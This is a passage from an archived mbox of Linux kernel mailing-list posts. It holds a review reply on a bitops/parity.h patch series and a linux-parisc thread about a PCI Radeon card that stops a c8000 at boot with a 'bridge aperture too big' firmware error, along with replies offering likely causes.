--nextPart4675794.CxtPFjkCRH--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexey Brodkin <Alexey.Brodkin@synopsys.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.sh.devel,gmane.linux.ports.openrisc,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2 02/30] Include generic parity.h in some
 architectures' bitops.h
Date: Mon, 11 Apr 2016 17:31:47 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <1460395905.5119.43.camel@synopsys.com>
References: <57033DBB.6060600@gmail.com>
 <1459932086-6394-1-git-send-email-zengzhaoxiu@163.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-7"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1460396027 4723 80.91.229.3 (11 Apr 2016 17:33:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Apr 2016 17:33:47 +0000 (UTC)
Cc: "dalias@libc.org" <dalias@libc.org>,
 "linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
 "peterz@infradead.org" <peterz@infradead.org>,
 "catalin.marinas@arm.com" <catalin.marinas@arm.com>,
 "will.deacon@arm.com" <will.deacon@arm.com>,
 "dhowells@redhat.com" <dhowells@redhat.com>,
 "jcmvbkbc@gmail.com" <jcmvbkbc@gmail.com>,
 "brueckner@linux.vnet.ibm.com" <brueckner@linux.vnet.ibm.com>,
 "linux@lists.openrisc.net" <linux@lists.openrisc.net>,
 "egtvedt@samfundet.no" <egtvedt@samfundet.no>,
 "jonas@southpole.se" <jonas@southpole.se>,
 "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
 "jesper.nilsson@axis.com" <jesper.nilsson@axis.com>,
 "linux-am33-list@redhat.com" <linux-am33-list@redhat.com>,
 "linux@arm.linux.org.uk" <linux@arm.linux.org.uk>,
 "linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
 "ysato@users.sourceforge.jp" <ysato@users.sourceforge.jp>,
 "lin
To: "zengzhaoxiu@163.com" <zengzhaoxiu@163.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Mon Apr 11 19:33:35 2016
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from [198.137.202.9] (helo=bombadil.infradead.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1apfiR-0003yE-6D
	for gla-linux-snps-arc@m.gmane.org; Mon, 11 Apr 2016 19:33:35 +0200
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1apfi0-0005WK-RE; Mon, 11 Apr 2016 17:33:08 +0000
Original-Received: from us01smtprelay-2.synopsys.com ([198.182.47.9]
 helo=smtprelay.synopsys.com)
 by bombadil.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
 id 1apfhr-0005R0-Bo; Mon, 11 Apr 2016 17:32:59 +0000
Original-Received: from dc8secmta2.synopsys.com (dc8secmta2.synopsys.com
 [10.13.218.202])
 by smtprelay.synopsys.com (Postfix) with ESMTP id 5EA1D24E0492;
 Mon, 11 Apr 2016 10:32:34 -0700 (PDT)
Original-Received: from dc8secmta2.internal.synopsys.com
 (dc8secmta2.internal.synopsys.com [127.0.0.1])
 by dc8secmta2.internal.synopsys.com (Service) with ESMTP id 4E5A7A4112;
 Mon, 11 Apr 2016 10:32:34 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (mailhost1.synopsys.com [10.12.238.239])
 by dc8secmta2.internal.synopsys.com (Service) with ESMTP id
 6DEF0A4102; Mon, 11 Apr 2016 10:32:33 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (localhost [127.0.0.1])
 by mailhost.synopsys.com (Postfix) with ESMTP id 34B4A7F4;
 Mon, 11 Apr 2016 10:32:33 -0700 (PDT)
Original-Received: from US01WEHTC3.internal.synopsys.com
 (us01wehtc3.internal.synopsys.com [10.15.84.232])
 by mailhost.synopsys.com (Postfix) with ESMTP id D7D707E4;
 Mon, 11 Apr 2016 10:32:27 -0700 (PDT)
Original-Received: from DE02WEHTCB.internal.synopsys.com (10.225.19.94) by
 US01WEHTC3.internal.synopsys.com (10.15.84.232) with Microsoft SMTP Server
 (TLS) id 14.3.195.1; Mon, 11 Apr 2016 10:31:50 -0700
Original-Received: from DE02WEMBXB.internal.synopsys.com ([fe80::95ce:118a:8321:a099])
 by DE02WEHTCB.internal.synopsys.com ([::1]) with mapi id
 14.03.0195.001; Mon, 11 Apr 2016 19:31:47 +0200
Thread-Topic: [PATCH v2 02/30] Include generic parity.h in some
 architectures' bitops.h
Thread-Index: AQHRjvMJndVeg6EDWkOrVTlo2dYXaZ98gMgAgAhv1IA=
In-Reply-To: <1459932086-6394-1-git-send-email-zengzhaoxiu@163.com>
Accept-Language: en-US, ru-RU
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.9.129.131]
Content-ID: <73E3AD6D2661E84D82658B32CA39C6C3@internal.synopsys.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20160411_103259_432909_B8E34498 
X-CRM114-Status: UNSURE (   4.60  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: -2.9 (--)
X-Spam-Report: SpamAssassin version 3.4.0 on bombadil.infradead.org summary:
 Content analysis details:   (-2.9 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -1.0 RP_MATCHES_RCVD Envelope sender domain matches handover relay domain
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [198.182.47.9 listed in list.dnswl.org]
 -0.0 RCVD_IN_MSPIKE_H3      RBL: Good reputation (+3)
 [198.182.47.9 listed in wl.mailspike.net]
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
 -0.0 RCVD_IN_MSPIKE_WL      Mailspike good senders
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.20
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:877 gmane.linux.ports.sh.devel:53751 gmane.linux.ports.openrisc:697 gmane.linux.ports.hexagon:1000 gmane.linux.kernel.metag:1050 gmane.linux.ports.arm.kernel:491637 gmane.linux.ports.parisc:26615 gmane.linux.kernel:2196014
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/877>

SGkrQUtBLVpoYW94aXUsCgpPbiBXZWQsIDIwMTYtMDQtMDYgYXQgMTY6NDEgKy0wODAwLCB6ZW5n
emhhb3hpdUAxNjMuY29tIHdyb3RlOgo+IEZyb206IFpoYW94aXUgWmVuZyA8emhhb3hpdS56ZW5n
QGdtYWlsLmNvbT4KPiAKPiBVc2UgdGhlIGdlbmVyaWMgdmVyc2lvbgo+IAo+IFNpZ25lZC1vZmYt
Ynk6IFpoYW94aXUgWmVuZyA8emhhb3hpdS56ZW5nQGdtYWlsLmNvbT4KPiAtLS0KPiArQUtBLWFy
Y2gvYXJjL2luY2x1ZGUvYXNtL2JpdG9wcy5oK0FLQUFvQUNnQUtBQW9BQ2d8IDEgKy0KPiArQUtB
LWFyY2gvYXJtL2luY2x1ZGUvYXNtL2JpdG9wcy5oK0FLQUFvQUNnQUtBQW9BQ2d8IDEgKy0KPiAr
QUtBLWFyY2gvYXJtNjQvaW5jbHVkZS9hc20vYml0b3BzLmgrQUtBQW9BQ2dBS0F8IDEgKy0KPiAr
QUtBLWFyY2gvYXZyMzIvaW5jbHVkZS9hc20vYml0b3BzLmgrQUtBQW9BQ2dBS0F8IDEgKy0KPiAr
QUtBLWFyY2gvYzZ4L2luY2x1ZGUvYXNtL2JpdG9wcy5oK0FLQUFvQUNnQUtBQW9BQ2d8IDEgKy0K
PiArQUtBLWFyY2gvY3Jpcy9pbmNsdWRlL2FzbS9iaXRvcHMuaCtBS0FBb0FDZ0FLQUFvQXwgMSAr
LQo+ICtBS0EtYXJjaC9mcnYvaW5jbHVkZS9hc20vYml0b3BzLmgrQUtBQW9BQ2dBS0FBb0FDZ3wg
MSArLQo+ICtBS0EtYXJjaC9oODMwMC9pbmNsdWRlL2FzbS9iaXRvcHMuaCtBS0FBb0FDZ0FLQXwg
MSArLQo+ICtBS0EtYXJjaC9oZXhhZ29uL2luY2x1ZGUvYXNtL2JpdG9wcy5oK0FLQUFvQXwgMSAr
LQo+ICtBS0EtYXJjaC9tMzJyL2luY2x1ZGUvYXNtL2JpdG9wcy5oK0FLQUFvQUNnQUtBQW9BfCAx
ICstCj4gK0FLQS1hcmNoL202OGsvaW5jbHVkZS9hc20vYml0b3BzLmgrQUtBQW9BQ2dBS0FBb0F8
IDEgKy0KPiArQUtBLWFyY2gvbWV0YWcvaW5jbHVkZS9hc20vYml0b3BzLmgrQUtBQW9BQ2dBS0F8
IDEgKy0KPiArQUtBLWFyY2gvbW4xMDMwMC9pbmNsdWRlL2FzbS9iaXRvcHMuaCtBS0FBb0F8IDEg
Ky0KPiArQUtBLWFyY2gvb3BlbnJpc2MvaW5jbHVkZS9hc20vYml0b3BzLmggfCAxICstCj4gK0FL
QS1hcmNoL3BhcmlzYy9pbmNsdWRlL2FzbS9iaXRvcHMuaCtBS0FBb0FDZ3wgMSArLQo+ICtBS0Et
YXJjaC9zMzkwL2luY2x1ZGUvYXNtL2JpdG9wcy5oK0FLQUFvQUNnQUtBQW9BfCAxICstCj4gK0FL
QS1hcmNoL3NoL2luY2x1ZGUvYXNtL2JpdG9wcy5oK0FLQUFvQUNnQUtBQW9BQ2dBS0F8IDEgKy0K
PiArQUtBLWFyY2gveHRlbnNhL2luY2x1ZGUvYXNtL2JpdG9wcy5oK0FLQUFvQUNnfCAxICstCj4g
K0FLQS0xOCBmaWxlcyBjaGFuZ2VkLCAxOCBpbnNlcnRpb25zKCstKQoKQ291bGQgeW91IHBsZWFz
ZSBpbmNsdWRlIGEgY2hhbmdlbG9nIGJlbG93IHlvdXIgY29tbWl0IG1lc3NhZ2U/Ck90aGVyd2lz
ZSBpdCdzIGJhcmVseSBwb3NzaWJsZSB0byB1bmRlcnN0YW5kIHdoYXQgdGhhdCB2MiBpbXByb3Zl
cy9maXhlcy4KCkFsc28gaXQgbWFrZXMgc2Vuc2UgdG8gc2VuZCBhdCBsZWFzdCBjb3ZlciBsZXR0
ZXIgdG8gYWxsIHBlb3BsZSBtZW50aW9uZWQKYXQgbGVhc3QgaW4gb25lIHBhdGNoIG9mIHRoZSBz
ZXJpZXMuIFRoYXQgZ2l2ZXMgYW4gaWRlYSB3aGF0IHRoaXMgc2VyaWVzCmRvZXMgYW5kIGluIHBh
cnRpY3VsYXIgd2h5IHBhdGNoIEknbSBtZW50aW9uZWQgaW4gaXMgcmVxdWlyZWQuCgotQWxleGV5
Cl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fCmxpbnV4LXNu
cHMtYXJjIG1haWxpbmcgbGlzdApsaW51eC1zbnBzLWFyY0BsaXN0cy5pbmZyYWRlYWQub3JnCmh0
dHA6Ly9saXN0cy5pbmZyYWRlYWQub3JnL21haWxtYW4vbGlzdGluZm8vbGludXgtc25wcy1hcmM=


From - Thu Nov 08 21:38:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: PCI video card hangs during system boot
Date: Tue, 12 Apr 2016 10:20:17 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <CACrbsaAVBQw5zSiuS9xYo+vuP8sFk1a94FSXVz_sRGkMP+60Jg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1460449230 2026 80.91.229.3 (12 Apr 2016 08:20:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 12 Apr 2016 08:20:30 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 12 10:20:29 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aptYh-00061U-LS
	for glpp-linux-parisc@plane.gmane.org; Tue, 12 Apr 2016 10:20:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932718AbcDLIUX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 12 Apr 2016 04:20:23 -0400
Original-Received: from mail-ig0-f172.google.com ([209.85.213.172]:38697 "EHLO
	mail-ig0-f172.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932581AbcDLIUS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 12 Apr 2016 04:20:18 -0400
Original-Received: by mail-ig0-f172.google.com with SMTP id ui10so14028415igc.1
        for <linux-parisc@vger.kernel.org>; Tue, 12 Apr 2016 01:20:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:date:message-id:subject:from:to:cc;
        bh=rak+NS3n0FeCkYc38OHgT6ioxoFzQERta50cZp/Mw0I=;
        b=iCtpZBUlIariIBELyxosZhHuZZ8ZI0+k4mzKOEQylXvuIwBenZc47izH0dmvx1Z8Ud
         7L1pZP5lkvVQxagBEmQYQfXs7WF4Ca++8szYymRbYHuKnmxDvEsOGURBsdnNpI6rKVFZ
         Y6f1A7e9Pn3FnHjSiiBioytGXvqRC+Q7lc/n92JB1URaT9AxypDBdjqrnY3cEtLuEBX9
         WE5tmN5k9xxJKhg7WY3BAisUEs+JcIuzv4qudpIJAT540ZJAuWvsAibPTq9UR9kU0Z3O
         XWMke/atoCbJxprl85WeamwfECACWiOt0MPqj3WUAYqNwcD+SG0EtfrM0zC6jEDxf20h
         fS7A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:date:message-id:subject:from:to:cc;
        bh=rak+NS3n0FeCkYc38OHgT6ioxoFzQERta50cZp/Mw0I=;
        b=XP1CrgO0dFPS2RrvuzPssiSvZUJ1hH5r6omHhSgYl4f/sp+JfbqamUTeISYfaJrcFE
         euQ5MwPEflYjIxuvc2j2WhxGlbK98Eee7q21YDdrCGngMDA8Z8QfYzlEYVMtLR5q8l4L
         jV31QI/d73/g1sXzqE1tB07sUNKuJvVonOowomZkfGgZxmLdIIjzn9ZIQacWw40zO9QJ
         y2WMyDVMCsDwe/Nb1Ka0COsJcV5eG/Qojyh0TL+9S/bZ0at3RLF/xM4LrxKBW4sFqopt
         MKdodBejw25rg84t9/35f7C+mbKSS+lGc3wqkuuAY4t6wE6ZY98I34JLFvZ+9R2g0RzQ
         Wb4A==
X-Gm-Message-State: AOPr4FV1N9AITbYuPa4okj29FxUOlPJQhE/T1dp3kLkd4wlRwl25VPZ9nTcUx8fOXbgsWFWGPUz+TzODxvVBxg==
X-Received: by 10.50.112.10 with SMTP id im10mr2488956igb.93.1460449217456;
 Tue, 12 Apr 2016 01:20:17 -0700 (PDT)
Original-Received: by 10.64.86.82 with HTTP; Tue, 12 Apr 2016 01:20:17 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26616
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26616>

Dear All,

looking for a solution for a presistent issue (lack of any hardware
acceleration support for X11 because error during the loading of the
"radeon" or "nouveau" kernel module at boot time) I have bought a PCI
video card: ATI RADEON 9300 128M PCI. This test has been suggested by
many guys on several mailing list.

NOTA BENE: make sure that the PCI video card is 3.3V type or is an
"universal" (3.3V and 5.0V) model like mine.

I have put this video card leaving the ATI FireCL X1 installed; I have
removed the AGP video card; I have moved the PCI video card on
different positions.

No matter what I do, the c8000 is unable to boot.

Using the serial console, I have his message

<Cpu0> 0e000e7a00e00000  600601005d441002  CC_IODISC_PCI_DEVICE_CONFIG
pci_bus_walk line 2878 - bridge aperture too big
<Cpu0> 160012cb00e00000  0000000000000000  CC_MPS_SLAV.......
.......
Then the system boot process STOPs:
<Cpu1> e000108401e00000  0000000000000000  CC_BOOT_BOOT_FAILURE
<Cpu1> 030010d501e00000  0000000000000000  CC_CPU_STOP

This problem lie in the internal c8000 "system bios/diagnostic" code,
Linux boot process, kernel and modules are not involved.

Finally, the people that have suggested this test have not tried to make it.

Question: "Someone has tried with a NVDIA or MATROX PCI video cards?"

Thanks in advance for your help.

   Simone Mannori - ITALY
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI video card hangs during system boot
Date: Tue, 12 Apr 2016 18:55:45 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <1587186.CtnrnCsSzp@caliban.sf-tec.de>
References: <CACrbsaAVBQw5zSiuS9xYo+vuP8sFk1a94FSXVz_sRGkMP+60Jg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1880006.q5s1PXSvzY"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1460480176 8758 80.91.229.3 (12 Apr 2016 16:56:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 12 Apr 2016 16:56:16 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Simone Mannori <simone.mannori@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 12 18:56:09 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aq1bk-0004qe-Ci
	for glpp-linux-parisc@plane.gmane.org; Tue, 12 Apr 2016 18:56:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965435AbcDLQ4C (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 12 Apr 2016 12:56:02 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:40615 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S965428AbcDLQz7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 12 Apr 2016 12:55:59 -0400
Original-Received: (qmail 19560 invoked from network); 12 Apr 2016 16:55:55 -0000
Original-Received: from dslb-188-096-095-068.188.096.pools.vodafone-ip.de ([::ffff:188.96.95.68]:56872 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.31dev) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <simone.mannori@gmail.com>; Tue, 12 Apr 2016 18:55:55 +0200
User-Agent: KMail/4.14.10 (Linux/4.5.0-9.gc3d2a95-default; KDE/4.14.10; x86_64; ; )
In-Reply-To: <CACrbsaAVBQw5zSiuS9xYo+vuP8sFk1a94FSXVz_sRGkMP+60Jg@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26617
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26617>

--nextPart1880006.q5s1PXSvzY
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Dienstag, 12. April 2016, 10:20:17 schrieb Simone Mannori:
> Dear All,
> 
> looking for a solution for a presistent issue (lack of any hardware
> acceleration support for X11 because error during the loading of the
> "radeon" or "nouveau" kernel module at boot time) I have bought a PCI
> video card: ATI RADEON 9300 128M PCI. This test has been suggested by
> many guys on several mailing list.
> 
> NOTA BENE: make sure that the PCI video card is 3.3V type or is an
> "universal" (3.3V and 5.0V) model like mine.
> 
> I have put this video card leaving the ATI FireCL X1 installed; I have
> removed the AGP video card; I have moved the PCI video card on
> different positions.
> 
> No matter what I do, the c8000 is unable to boot.
> 
> Using the serial console, I have his message
> 
> <Cpu0> 0e000e7a00e00000  600601005d441002  CC_IODISC_PCI_DEVICE_CONFIG
> pci_bus_walk line 2878 - bridge aperture too big

This probably means the PCI BAR of the card is too big, i.e. it has too much 
RAM. Looks like the firmware can't handle that. I once had the same thing on a 
C3600, IIRC with a 128MB BAR.

Greetings,

Eike
--nextPart1880006.q5s1PXSvzY
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iEYEABECAAYFAlcNKJUACgkQXKSJPmm5/E5+ZgCfaUCUSm1y+dIQYoWDqRCLmFoZ
VdEAn39iPthnBGnHqJnFwqYlHcdR+pAQ
=vxNy
-----END PGP SIGNATURE-----

--nextPart1880006.q5s1PXSvzY--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI video card hangs during system boot
Date: Tue, 12 Apr 2016 14:04:47 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <570D38BF.7040307@bell.net>
References: <CACrbsaAVBQw5zSiuS9xYo+vuP8sFk1a94FSXVz_sRGkMP+60Jg@mail.gmail.com>
 <1587186.CtnrnCsSzp@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1460484300 15129 80.91.229.3 (12 Apr 2016 18:05:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 12 Apr 2016 18:05:00 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	Simone Mannori <simone.mannori@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 12 20:04:49 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aq2gC-0008Ni-D6
	for glpp-linux-parisc@plane.gmane.org; Tue, 12 Apr 2016 20:04:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965099AbcDLSEs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 12 Apr 2016 14:04:48 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:7645 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S965083AbcDLSEr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 12 Apr 2016 14:04:47 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20160412180446.WTUG3631.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 12 Apr 2016 14:04:46 -0400
Original-Received: from [192.168.0.122] (really [64.231.92.133])
          by mtlspm01.bell.net with ESMTP
          id <20160412180445.IGJS17299.mtlspm01.bell.net@[192.168.0.122]>;
          Tue, 12 Apr 2016 14:04:45 -0400
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.7.2
In-Reply-To: <1587186.CtnrnCsSzp@caliban.sf-tec.de>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020206.570D38BE.001A,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26618
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26618>

On 2016-04-12 12:55 PM, Rolf Eike Beer wrote:
> Am Dienstag, 12. April 2016, 10:20:17 schrieb Simone Mannori:
>> >Dear All,
>> >
>> >looking for a solution for a presistent issue (lack of any hardware
>> >acceleration support for X11 because error during the loading of the
>> >"radeon" or "nouveau" kernel module at boot time) I have bought a PCI
>> >video card: ATI RADEON 9300 128M PCI. This test has been suggested by
>> >many guys on several mailing list.
>> >
>> >NOTA BENE: make sure that the PCI video card is 3.3V type or is an
>> >"universal" (3.3V and 5.0V) model like mine.
>> >
>> >I have put this video card leaving the ATI FireCL X1 installed; I have
>> >removed the AGP video card; I have moved the PCI video card on
>> >different positions.
>> >
>> >No matter what I do, the c8000 is unable to boot.
>> >
>> >Using the serial console, I have his message
>> >
>> ><Cpu0> 0e000e7a00e00000  600601005d441002  CC_IODISC_PCI_DEVICE_CONFIG
>> >pci_bus_walk line 2878 - bridge aperture too big
> This probably means the PCI BAR of the card is too big, i.e. it has too much
> RAM. Looks like the firmware can't handle that. I once had the same thing on a
> C3600, IIRC with a 128MB BAR.
Maybe pulling FireGL X1 will help:
https://lists.freedesktop.org/archives/dri-users/2015-February/000034.html

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simone Mannori <simone.mannori@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI video card hangs during system boot
Date: Wed, 13 Apr 2016 09:06:20 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <CACrbsaBBT20+_GtJD3XMxob7Pz+mhdw7BE0h3uQSpKq-VSOHYA@mail.gmail.com>
References: <CACrbsaAVBQw5zSiuS9xYo+vuP8sFk1a94FSXVz_sRGkMP+60Jg@mail.gmail.com>
	<1587186.CtnrnCsSzp@caliban.sf-tec.de>
	<570D38BF.7040307@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1460531184 7042 80.91.229.3 (13 Apr 2016 07:06:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Apr 2016 07:06:24 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 13 09:06:23 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
